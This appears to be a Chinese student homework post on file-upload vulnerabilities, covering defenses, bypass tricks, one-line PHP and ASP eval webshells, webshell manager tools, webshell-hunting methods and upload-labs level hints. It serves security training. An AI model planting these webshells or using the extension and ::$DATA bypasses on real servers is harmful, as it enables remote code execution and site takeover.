第七次作业

1. 文件上传防御手段及绕过手段总结

     文件上传防御手段

文件类型检查     MIME 类型检查确保上传文件的MIME类型与其实际内容匹配,但这种方法可以被绕过。文件扩展名检查:只允许特定类型的文件上传,例如限制为 `.jpg`, `.png`, `.pdf` 等。然而,扩展名检查也可以被伪造。

文件内容扫描:检查文件的魔数(文件头部的特征信息),例如JPEG文件通常以`FF D8`开始。这比仅检查扩展名更安全,但仍可被绕过。使用病毒扫描工具扫描上传的文件,以检测是否含有恶意代码。

文件大小限制: 防止过大的文件被上传,以减少攻击面。

目录权限管理设置上传目录的权限为非执行权限,防止执行上传的脚本文件。将上传目录与Web根目录隔离,以防止直接访问上传的文件。

文件重命名:自动重命名上传文件,以避免上传文件的原始名称被利用进行攻击。

限制上传文件的路径:防止目录遍历,通过校验文件路径,防止目录遍历攻击。

使用应用层网关:利用WAF(Web Application Firewall)拦截和过滤恶意上传请求。

 文件上传绕过手段

伪造文件类型:攻击者可能会将恶意文件重命名为合法扩展名,如将 `.php` 文件重命名为 `.jpg`。修改HTTP请求的MIME类型字段来绕过文件类型检查。

恶意文件编码:使用各种编码(如Base64编码)上传文件,然后在服务器上解码执行。

利用图像文件载荷:将恶意代码嵌入到图像文件的元数据中(如EXIF数据),绕过文件内容扫描。

使用后缀混淆双扩展名:使用双扩展名如 `file.php.jpg` 来绕过基于扩展名的检查。

绕过文件大小限制:将恶意文件分割成小片段上传,然后在服务器端重新组合。

PHP代码注入,上传PHP文件并修改文件权限:如果上传目录有执行权限,攻击者可能通过上传PHP文件并设置其权限为可执行,从而执行恶意脚本。

 路径穿越:攻击者可能尝试使用 `../` 来将文件上传到非预期目录。

通过了解这些防御措施和绕过手段,你可以更好地保护Web应用免受文件上传攻击的威胁。


2. 文件上传常用一句话木马

php:  <?php @eval($_POST['cmd']); ?>

asp:  <%eval request ("pass")%>

3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

木马配置

冰蝎

将生成木马导入靶场根目录

新增传输协议

中国蚁剑

进行修改

哥斯拉


4. 文件上传无回显如何查找webshell地址

检查上传目录

首先,尝试找到文件上传的目标目录。如果你能确定文件上传到哪个目录,可以直接检查这个目录以寻找可疑文件。通过目录枚举,使用工具或手动检查可能的目录。或查看文件列表如果有目录列表功能,可以查看目录下的文件名。某些webshell可能会有显眼的名称或者日期特征。

监控文件系统

查看文件创建时间,找到最近创建或修改的文件,可能就是上传的webshell。使用命令行工具,在Linux服务器上,可以使用如`find`、`ls -lt`等命令来查找最近上传的文件。

审查日志文件

服务器日志文件可能包含有关文件上传的信息。如Apache的`access.log`或`error.log`,Nginx的`access.log`,它们可能记录了文件上传的请求和路径。如果有应用程序级别的日志,可能会记录文件上传的详细信息。

利用工具和脚本

使用一些工具或编写脚本来帮助你找到webshell。例如Web扫描工具:像Nikto、Burp Suite等安全扫描工具可以帮助识别潜在的webshell。或编写脚本扫描上传目录中的文件,识别出潜在的恶意文件。比如,可以检测常见的webshell特征,如PHP代码中的`eval`、`system`等函数。

特征识别

内容分析,检查文件内容中是否包含常见的webshell代码模式,某些webshell可能使用不常见的扩展名,或伪装成其他文件类型。

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

无参情况下

<!DOCTYPE html>
<html>
<head>
    <title>File Upload Form</title>
</head>
<body>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <label for="file">Choose a file to upload:</label>
        <input type="file" id="file" name="file">
        <input type="submit" value="Upload">
    </form>
</body>
</html>

有参情况下

<!DOCTYPE html>
<html>
<head>
    <title>File Upload Form with Parameters</title>
</head>
<body>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <label for="file">Choose a file to upload:</label>
        <input type="file" id="file" name="file">
        
        <!-- Additional Parameters -->
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required>
        
        <label for="description">Description:</label>
        <textarea id="description" name="description"></textarea>
        
        <input type="submit" value="Upload">
    </form>
</body>
</html>


6. upload-labs靶场通关第6-第10关

更改文件名

第七关

查看源代码后发现缺文件末尾点,在后缀添加空格

第八关

查看源码

发现结尾 . 检测,添加 .即可

第九关

查看源码

末尾添加"::$DATA"即可

第十关

查看源码

自动删除  . 和空格

  • 13
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值